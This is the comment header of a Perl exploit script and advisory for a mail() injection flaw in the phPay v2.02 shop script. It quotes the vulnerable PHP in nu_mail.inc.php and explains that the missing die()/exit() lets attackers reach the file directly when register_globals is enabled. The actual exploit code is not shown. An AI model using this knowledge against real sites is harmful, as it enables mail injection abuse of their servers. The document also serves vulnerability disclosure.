#!/usr/bin/perl
#####################
# Script: phPay v2.02 http://phpay.de/
# Vuln File: nu_mail.inc.php
# Exploit & Advisory: beford <xbefordx gmail com>
# Vulnerability: mail() Injection
# Vuln Code:
# <?php
# if (ereg("nu_mail.inc.php", $SCRIPT_NAME)) header("Location:./index.html");
# elseif (ereg("nu_mail.inc.php", $_SERVER['SCRIPT_NAME'])) header("Location:./index.html");
# $mail_text="$mail_2a\n\n";
# ...
# That *should* prevent direct access to the vulnerable file, but they didnt die()/exit()'ed
# so, pwnt. You need register globals enabled to be able of exploiting this issue.
